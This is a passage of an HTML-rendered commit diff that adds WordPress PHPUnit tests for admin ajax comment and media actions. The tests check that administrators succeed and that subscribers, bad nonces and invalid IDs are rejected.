+               $_POST['_page']       = 1;
+               $_POST['_url']        = admin_url( 'edit-comments.php' );
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'delete-comment' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+               $this->_last_response = '';
+
+               // Force delete the comment
+               if ( 'delete' == $action ) {
+                       wp_delete_comment( $comment->comment_ID, true );
+               }
+
+               // Make the request again, look for a timestamp in the exception
+               try {
+                       $this->_handleAjax( 'delete-comment' );
+                       $this->fail( 'Expected exception: WPAjaxDieStopException' );
+               } catch ( WPAjaxDieStopException $e ) {
+                       $this->assertEquals( 10, strlen( $e->getMessage() ) );
+                       $this->assertTrue( is_numeric( $e->getMessage() ) );
+               } catch ( Exception $e ) {
+                       $this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+               }
+       }
+
+       /**
+        * Delete a comment as an administrator (expects success)
+        * @return void
+        */
+       public function test_ajax_comment_trash_actions_as_administrator() {
+
+               // Test trash/untrash
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_admin( $comment, 'trash' );
+               $this->_test_as_admin( $comment, 'untrash' );
+
+               // Test spam/unspam
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_admin( $comment, 'spam' );
+               $this->_test_as_admin( $comment, 'unspam' );
+
+               // Test delete
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_admin( $comment, 'delete' );
+       }
+
+       /**
+        * Delete a comment as a subscriber (expects permission denied)
+        * @return void
+        */
+       public function test_ajax_comment_trash_actions_as_subscriber() {
+
+               // Test trash/untrash
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_subscriber( $comment, 'trash' );
+               $this->_test_as_subscriber( $comment, 'untrash' );
+
+               // Test spam/unspam
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_subscriber( $comment, 'spam' );
+               $this->_test_as_subscriber( $comment, 'unspam' );
+
+               // Test delete
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_subscriber( $comment, 'delete' );
+       }
+
+       /**
+        * Delete a comment with no id
+        * @return void
+        */
+       public function test_ajax_trash_comment_no_id() {
+
+               // Test trash/untrash
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_admin( $comment, 'trash' );
+               $this->_test_as_admin( $comment, 'untrash' );
+
+               // Test spam/unspam
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_admin( $comment, 'spam' );
+               $this->_test_as_admin( $comment, 'unspam' );
+
+               // Test delete
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_admin( $comment, 'delete' );
+       }
+
+       /**
+        * Delete a comment with a bad nonce
+        * @return void
+        */
+       public function test_ajax_trash_comment_bad_nonce() {
+
+               // Test trash/untrash
+               $comment = array_pop( $this->_comments );
+               $this->_test_with_bad_nonce( $comment, 'trash' );
+               $this->_test_with_bad_nonce( $comment, 'untrash' );
+
+               // Test spam/unspam
+               $comment = array_pop( $this->_comments );
+               $this->_test_with_bad_nonce( $comment, 'spam' );
+               $this->_test_with_bad_nonce( $comment, 'unspam' );
+
+               // Test delete
+               $comment = array_pop( $this->_comments );
+               $this->_test_with_bad_nonce( $comment, 'delete' );
+       }
+
+       /**
+        * Test trashing an already trashed comment, etc.
+        * @return void
+        */
+       public function test_ajax_trash_double_action() {
+
+               // Test trash/untrash
+               $comment = array_pop( $this->_comments );
+               $this->_test_double_action( $comment, 'trash' );
+               $this->_test_double_action( $comment, 'untrash' );
+
+               // Test spam/unspam
+               $comment = array_pop( $this->_comments );
+               $this->_test_double_action( $comment, 'spam' );
+               $this->_test_double_action( $comment, 'unspam' );
+
+               // Test delete
+               $comment = array_pop( $this->_comments );
+               $this->_test_double_action( $comment, 'delete' );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsajaxDimCommentphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/ajax/DimComment.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/ajax/DimComment.php                            (rev 0)
+++ trunk/tests/tests/ajax/DimComment.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,238 @@
</span><ins>+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_DimComment extends WP_Ajax_UnitTestCase {
+
+       /**
+        * List of comments
+        * @var array
+        */
+       protected $_comments = array();
+
+       /**
+        * Set up the test fixture
+        */
+       public function setUp() {
+               parent::setUp();
+               $post_id = $this->factory->post->create();
+               $this->_comments = $this->factory->comment->create_post_comments( $post_id, 15 );
+               $this->_comments = array_map( 'get_comment', $this->_comments );
+       }
+
+       /**
+        * Clear the POST actions in between requests
+        */
+       protected function _clear_post_action() {
+               unset($_POST['id']);
+               unset($_POST['new']);
+               $this->_last_response = '';
+       }
+
+       /***********************************************************/
+       /** Test prototype
+       /***********************************************************/
+
+       /**
+        * Test as a privilged user (administrator)
+        * Expects test to pass
+        * @param mixed $comment Comment object
+        * @return void
+        */
+       public function _test_as_admin( $comment ) {
+
+               // Reset request
+               $this->_clear_post_action();
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_POST['id']          = $comment->comment_ID;
+               $_POST['_ajax_nonce'] = wp_create_nonce( 'approve-comment_' . $comment->comment_ID );
+               $_POST['_total']      = count( $this->_comments );
+               $_POST['_per_page']   = 100;
+               $_POST['_page']       = 1;
+               $_POST['_url']        = admin_url( 'edit-comments.php' );
+
+               // Save the comment status
+               $prev_status          = wp_get_comment_status( $comment->comment_ID );
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'dim-comment' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+
+               // Get the response
+               $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+               // Ensure everything is correct
+               $this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->comment['id'] );
+               $this->assertEquals( 'dim-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+               $this->assertGreaterThanOrEqual( time() - 10, (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+               $this->assertLessThanOrEqual( time(), (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+
+               // Check the status
+               $current = wp_get_comment_status( $comment->comment_ID );
+               if (in_array( $prev_status, array( 'unapproved', 'spam') ) ) {
+                       $this->assertEquals( 'approved', $current );
+               } else {
+                       $this->assertEquals( 'unapproved', $current );
+               }
+
+               // The total is calculated based on a page break -OR- a random number.  Let's look for both possible outcomes
+               $comment_count = wp_count_comments( 0 );
+               $recalc_total = $comment_count->total_comments;
+
+               // Delta is not specified, it will always be 1 lower than the request
+               $total = $_POST['_total'] - 1;
+
+               // Check for either possible total
+               $this->assertTrue( in_array( (int) $xml->response[0]->comment[0]->supplemental[0]->total[0] , array( $total, $recalc_total ) ) );
+       }
+
+       /**
+        * Test as a non-privileged user (subscriber)
+        * Expects test to fail
+        * @param mixed $comment Comment object
+        * @return void
+        */
+       public function _test_as_subscriber( $comment ) {
+
+               // Reset request
+               $this->_clear_post_action();
+
+               // Become a subscriber
+               $this->_setRole( 'subscriber' );
+
+               // Set up the $_POST request
+               $_POST['id']          = $comment->comment_ID;
+               $_POST['_ajax_nonce'] = wp_create_nonce( 'approve-comment_' . $comment->comment_ID );
+               $_POST['_total']      = count( $this->_comments );
+               $_POST['_per_page']   = 100;
+               $_POST['_page']       = 1;
+               $_POST['_url']        = admin_url( 'edit-comments.php' );
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'dim-comment' );
+       }
+
+       /**
+        * Test with a bad nonce
+        * Expects test to fail
+        * @param mixed $comment Comment object
+        * @return void
+        */
+       public function _test_with_bad_nonce( $comment ) {
+
+               // Reset request
+               $this->_clear_post_action();
+
+               // Become a subscriber
+               $this->_setRole( 'administrator' );
+
+               // Set up the $_POST request
+               $_POST['id']          = $comment->comment_ID;
+               $_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+               $_POST['_total']      = count( $this->_comments );
+               $_POST['_per_page']   = 100;
+               $_POST['_page']       = 1;
+               $_POST['_url']        = admin_url( 'edit-comments.php' );
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'dim-comment' );
+       }
+
+       /**
+        * Test with a bad id
+        * Expects test to fail
+        * @param mixed $comment Comment object
+        * @return void
+        */
+       public function test_with_bad_id( $comment ) {
+
+               // Reset request
+               $this->_clear_post_action();
+
+               // Become a subscriber
+               $this->_setRole( 'administrator' );
+
+               // Set up the $_POST request
+               $_POST['id']          = 12346789;
+               $_POST['_ajax_nonce'] = wp_create_nonce( 'dim-comment_12346789' );
+               $_POST['_total']      = count( $this->_comments );
+               $_POST['_per_page']   = 100;
+               $_POST['_page']       = 1;
+               $_POST['_url']        = admin_url( 'edit-comments.php' );
+
+               // Make the request, look for a timestamp in the exception
+               try {
+                       $this->_handleAjax( 'dim-comment' );
+                       $this->fail( 'Expected exception: WPAjaxDieContinueException' );
+               } catch ( WPAjaxDieContinueException $e ) {
+
+                       // Get the response
+                       $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+                       // Ensure everything is correct
+                       $this->assertEquals( '0', (string) $xml->response[0]->comment['id'] );
+                       $this->assertEquals( 'dim-comment_0', (string) $xml->response['action'] );
+                       $this->assertContains( 'Comment ' . $_POST['id'] . ' does not exist', $this->_last_response );
+
+               } catch ( Exception $e ) {
+                       $this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+               }
+       }
+
+       /**
+        * Dim a comment as an administrator (expects success)
+        * @return void
+        */
+       public function test_ajax_comment_dim_actions_as_administrator() {
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_admin( $comment );
+               $this->_test_as_admin( $comment );
+       }
+
+       /**
+        * Dim a comment as a subscriber (expects permission denied)
+        * @return void
+        */
+       public function test_ajax_comment_dim_actions_as_subscriber() {
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_subscriber( $comment );
+       }
+
+       /**
+        * Dim a comment with no id
+        * @return void
+        */
+       public function test_ajax_dim_comment_no_id() {
+               $comment = array_pop( $this->_comments );
+               $this->_test_as_admin( $comment );
+       }
+
+       /**
+        * Dim a comment with a bad nonce
+        * @return void
+        */
+       public function test_ajax_dim_comment_bad_nonce() {
+               $comment = array_pop( $this->_comments );
+               $this->_test_with_bad_nonce( $comment );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsajaxEditCommentphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/ajax/EditComment.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/ajax/EditComment.php                           (rev 0)
+++ trunk/tests/tests/ajax/EditComment.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,148 @@
</span><ins>+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_EditComment extends WP_Ajax_UnitTestCase {
+
+       /**
+        * A post with at least one comment
+        * @var mixed
+        */
+       protected $_comment_post = null;
+
+       /**
+        * Set up the test fixture
+        */
+       public function setUp() {
+               parent::setUp();
+               $post_id = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $post_id, 5 );
+               $this->_comment_post = get_post( $post_id );
+       }
+
+       /**
+        * Get comments as a privilged user (administrator)
+        * Expects test to pass
+        * @return void
+        */
+       public function test_as_admin() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Get a comment
+               $comments = get_comments( array(
+                       'post_id' => $this->_comment_post->ID
+               ) );
+               $comment = array_pop( $comments );
+
+               // Set up a default request
+               $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+               $_POST['comment_ID']                  = $comment->comment_ID;
+               $_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'edit-comment' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+
+               // Get the response
+               $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+               // Check the meta data
+               $this->assertEquals( -1, (string) $xml->response[0]->edit_comment['position'] );
+               $this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->edit_comment['id'] );
+               $this->assertEquals( 'edit-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+
+               // Check the payload
+               $this->assertNotEmpty( (string) $xml->response[0]->edit_comment[0]->response_data );
+
+               // And supplemental is empty
+               $this->assertEmpty( (string) $xml->response[0]->edit_comment[0]->supplemental );
+       }
+
+       /**
+        * Get comments as a non-privileged user (subscriber)
+        * Expects test to fail
+        * @return void
+        */
+       public function test_as_subscriber() {
+
+               // Become an administrator
+               $this->_setRole( 'subscriber' );
+
+               // Get a comment
+               $comments = get_comments( array(
+                       'post_id' => $this->_comment_post->ID
+               ) );
+               $comment = array_pop( $comments );
+
+               // Set up a default request
+               $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+               $_POST['comment_ID']                  = $comment->comment_ID;
+               $_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'edit-comment' );
+       }
+
+       /**
+        * Get comments with a bad nonce
+        * Expects test to fail
+        * @return void
+        */
+       public function test_bad_nonce() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Get a comment
+               $comments = get_comments( array(
+                       'post_id' => $this->_comment_post->ID
+               ) );
+               $comment = array_pop( $comments );
+
+               // Set up a default request
+               $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( uniqid() );
+               $_POST['comment_ID']                  = $comment->comment_ID;
+               $_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'get-comments' );
+       }
+
+       /**
+        * Get comments for an invalid post
+        * This should return valid XML
+        * @return void
+        */
+       public function test_invalid_comment() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+               $_POST['comment_ID']                  = 123456789;
+               $_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'edit-comment' );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsajaxGetCommentsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/ajax/GetComments.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/ajax/GetComments.php                           (rev 0)
+++ trunk/tests/tests/ajax/GetComments.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,159 @@
</span><ins>+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_GetComments extends WP_Ajax_UnitTestCase {
+
+       /**
+        * A post with at least one comment
+        * @var mixed
+        */
+       protected $_comment_post = null;
+
+       /**
+        * A post with no comments
+        * @var mixed
+        */
+       protected $_no_comment_post = null;
+
+       /**
+        * Set up the test fixture
+        */
+       public function setUp() {
+               parent::setUp();
+               $post_id = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $post_id, 5 );
+               $this->_comment_post = get_post( $post_id );
+
+               $post_id = $this->factory->post->create();
+               $this->_no_comment_post = get_post( $post_id );
+       }
+
+       /**
+        * Get comments as a privilged user (administrator)
+        * Expects test to pass
+        * @return void
+        */
+       public function test_as_admin() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+               $_POST['action']      = 'get-comments';
+               $_POST['p']           = $this->_comment_post->ID;
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'get-comments' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+
+               // Get the response
+               $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+               // Check the meta data
+               $this->assertEquals( 1, (string) $xml->response[0]->comments['position'] );
+               $this->assertEquals( 0, (string) $xml->response[0]->comments['id'] );
+               $this->assertEquals( 'get-comments_0', (string) $xml->response['action'] );
+
+               // Check the payload
+               $this->assertNotEmpty( (string) $xml->response[0]->comments[0]->response_data );
+
+               // And supplemental is empty
+               $this->assertEmpty( (string) $xml->response[0]->comments[0]->supplemental );
+       }
+
+       /**
+        * Get comments as a non-privileged user (subscriber)
+        * Expects test to fail
+        * @return void
+        */
+       public function test_as_subscriber() {
+
+               // Become a subscriber
+               $this->_setRole( 'subscriber' );
+
+               // Set up a default request
+               $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+               $_POST['action']      = 'get-comments';
+               $_POST['p']           = $this->_comment_post->ID;
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'get-comments' );
+       }
+
+       /**
+        * Get comments with a bad nonce
+        * Expects test to fail
+        * @return void
+        */
+       public function test_bad_nonce() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+               $_POST['action']      = 'get-comments';
+               $_POST['p']           = $this->_comment_post->ID;
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'get-comments' );
+       }
+
+       /**
+        * Get comments for an invalid post
+        * Bad post IDs are set to 0, this should return valid XML
+        * @return void
+        */
+       public function test_invalid_post() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+               $_POST['action']      = 'get-comments';
+               $_POST['p']           = 'b0rk';
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'get-comments' );
+       }
+
+       /**
+        * Get comments for an invalid post
+        * Bad post IDs are set to 0, this should return valid XML
+        * @return void
+        */
+       public function test_post_with_no_comments() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+               $_POST['action']      = 'get-comments';
+               $_POST['p']           = $this->_no_comment_post->ID;
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '1' );
+               $this->_handleAjax( 'get-comments' );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsajaxMediaEditphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/ajax/MediaEdit.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/ajax/MediaEdit.php                             (rev 0)
+++ trunk/tests/tests/ajax/MediaEdit.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,102 @@
</span><ins>+<?php
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax media editing
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.5.0
+ * @group      ajax
+ */
+class Tests_Ajax_MediaEdit extends WP_Ajax_UnitTestCase {
+
+       /**
+        * List of media thumbnail ids
+        * @var array
+        */
+       protected $_ids = array();
+       
+       /**
+        * Set up the test fixture.
+        */
+       public function setUp() {
+               parent::setUp();
+       }
+
+       /**
+        * Tear down the test fixture.
+        */
+       public function tearDown() {
+               // Cleanup
+               foreach ($this->_ids as $id){
+                       wp_delete_attachment($id, true);
+               }
+
+               $uploads = wp_upload_dir();
+               foreach ( scandir( $uploads['basedir'] ) as $file )
+                       _rmdir( $uploads['basedir'] . '/' . $file );
+               
+               parent::tearDown();
+       }
+       
+       /**
+        * Function snagged from ./tests/post/attachments.php
+        */
+       function _make_attachment($upload, $parent_post_id = -1) {
+               $type = '';
+               if ( !empty($upload['type']) ) {
+                       $type = $upload['type'];
+               } else {
+                       $mime = wp_check_filetype( $upload['file'] );
+                       if ($mime)
+                               $type = $mime['type'];
+               }
+
+               $attachment = array(
+                       'post_title' => basename( $upload['file'] ),
+                       'post_content' => '',
+                       'post_type' => 'attachment',
+                       'post_parent' => $parent_post_id,
+                       'post_mime_type' => $type,
+                       'guid' => $upload[ 'url' ],
+               );
+
+               // Save the data
+               $id = wp_insert_attachment( $attachment, $upload[ 'file' ], $parent_post_id );
+               wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+               return $this->_ids[] = $id;
+       }
+
+       /**
+        * @ticket 22985
+        */
+       public function testCropImageThumbnail() {
+               include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+
+               $filename = DIR_TESTDATA . '/images/canola.jpg';
+               $contents = file_get_contents($filename);
+
+               $upload = wp_upload_bits(basename($filename), null, $contents);
+               $id = $this->_make_attachment($upload);
+               
+               $_REQUEST['action'] = 'image-editor';
+               $_REQUEST['context'] = 'edit-attachment';
+               $_REQUEST['postid'] = $id;
+               $_REQUEST['target'] = 'thumbnail';
+               $_REQUEST['do'] = 'save';
+               $_REQUEST['history'] = '[{"c":{"x":5,"y":8,"w":289,"h":322}}]';
+               
+               $media_meta = wp_get_attachment_metadata($id);
+               $this->assertArrayHasKey('sizes', $media_meta, 'attachment should have size data');
+               $this->assertArrayHasKey('medium', $media_meta['sizes'], 'attachment should have data for medium size');
+               $ret = wp_save_image($id);
+               
+               $media_meta = wp_get_attachment_metadata($id);
+               $this->assertArrayHasKey('sizes', $media_meta, 'cropped attachment should have size data');
+               $this->assertArrayHasKey('medium', $media_meta['sizes'], 'cropped attachment should have data for medium size');
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsajaxReplytoCommentphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/ajax/ReplytoComment.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/ajax/ReplytoComment.php                                (rev 0)
+++ trunk/tests/tests/ajax/ReplytoComment.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,226 @@
</span><ins>+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_ReplytoComment extends WP_Ajax_UnitTestCase {
+
+       /**
+        * A post with at least one comment
+        * @var mixed
+        */
+       protected $_comment_post = null;
+
+       /**
+        * Draft post
+        * @var mixed
+        */
+       protected $_draft_post = null;
+
+       /**
+        * Set up the test fixture
+        */
+       public function setUp() {
+               parent::setUp();
+               $post_id = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $post_id, 5 );
+               $this->_comment_post = get_post( $post_id );
+
+               $post_id = $this->factory->post->create( array( 'post_status' => 'draft' ) );
+               $this->_draft_post = get_post( $post_id );
+       }
+
+       /**
+        * Reply as a privilged user (administrator)
+        * Expects test to pass
+        * @return void
+        */
+       public function test_as_admin() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Get a comment
+               $comments = get_comments( array(
+                   'post_id' => $this->_comment_post->ID
+               ) );
+               $comment = array_pop( $comments );
+
+               // Set up a default request
+               $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+               $_POST['comment_ID']                  = $comment->comment_ID;
+               $_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+               $_POST['comment_post_ID']             = $this->_comment_post->ID;
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'replyto-comment' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+
+               // Get the response
+               $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+               // Check the meta data
+               $this->assertEquals( -1, (string) $xml->response[0]->comment['position'] );
+               $this->assertGreaterThan( 0, (int) $xml->response[0]->comment['id'] );
+               $this->assertNotEmpty( (string) $xml->response['action'] );
+
+               // Check the payload
+               $this->assertNotEmpty( (string) $xml->response[0]->comment[0]->response_data );
+
+               // And supplemental is empty
+               $this->assertEmpty( (string) $xml->response[0]->comment[0]->supplemental );
+       }
+
+       /**
+        * Reply as a non-privileged user (subscriber)
+        * Expects test to fail
+        * @return void
+        */
+       public function test_as_subscriber() {
+
+               // Become an administrator
+               $this->_setRole( 'subscriber' );
+
+               // Get a comment
+               $comments = get_comments( array(
+               'post_id' => $this->_comment_post->ID
+               ) );
+               $comment = array_pop( $comments );
+
+               // Set up a default request
+               $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+               $_POST['comment_ID']                  = $comment->comment_ID;
+               $_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+               $_POST['comment_post_ID']             = $this->_comment_post->ID;
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'replyto-comment' );
+       }
+
+       /**
+        * Reply using a bad nonce
+        * Expects test to fail
+        * @return void
+        */
+       public function test_bad_nonce() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Get a comment
+               $comments = get_comments( array(
+                   'post_id' => $this->_comment_post->ID
+               ) );
+               $comment = array_pop( $comments );
+
+               // Set up a default request
+               $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( uniqid() );
+               $_POST['comment_ID']                  = $comment->comment_ID;
+               $_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+               $_POST['comment_post_ID']             = $this->_comment_post->ID;
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'replyto-comment' );
+       }
+
+       /**
+        * Reply to an invalid post
+        * Expects test to fail
+        * @return void
+        */
+       public function test_invalid_post() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+               $_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+               $_POST['comment_post_ID']             = 123456789;
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'replyto-comment' );
+       }
+
+       /**
+        * Reply to a draft post
+        * Expects test to fail
+        * @return void
+        */
+       public function test_with_draft_post() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+               $_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+               $_POST['comment_post_ID']             = $this->_draft_post->ID;
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', 'ERROR: you are replying to a comment on a draft post.' );
+               $this->_handleAjax( 'replyto-comment' );
+       }
+
+       /**
+        * Reply to a post with a simulated database failure
+        * Expects test to fail
+        * @global $wpdb
+        * @return void
+        */
+       public function test_blocked_comment() {
+               global $wpdb;
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+               $_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+               $_POST['comment_post_ID']             = $this->_comment_post->ID;
+
+               // Block comments from being saved, simulate a DB error
+               add_filter( 'query', array( $this, '_block_comments' ) );
+
+               // Make the request
+               try {
+                       $wpdb->suppress_errors( true );
+                       $this->_handleAjax( 'replyto-comment' );
+                       $wpdb->suppress_errors( false );
+                       $this->fail();
+               } catch ( WPAjaxDieStopException $e )  {
+                       $wpdb->suppress_errors( false );
+                       $this->assertContains( '1', $e->getMessage() );
+               }
+       }
+
+       /**
+        * Block comments from being saved
+        * @param string $sql
+        * @return string
+        */
+       public function _block_comments( $sql ) {
+               global $wpdb;
+               if ( false !== strpos( $sql, $wpdb->comments ) && 0 === stripos( trim ( $sql ), 'INSERT INTO') ) {
+                       remove_filter( 'query', array( $this, '_block_comments' ) );
+                       return '';
+               }
+               return $sql;
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsajaxResponsephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/ajax/Response.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/ajax/Response.php                              (rev 0)
+++ trunk/tests/tests/ajax/Response.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,102 @@
</span><ins>+<?php
+/**
+ * Testing ajax response class
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.5.0
+ * @group      ajax
+ */
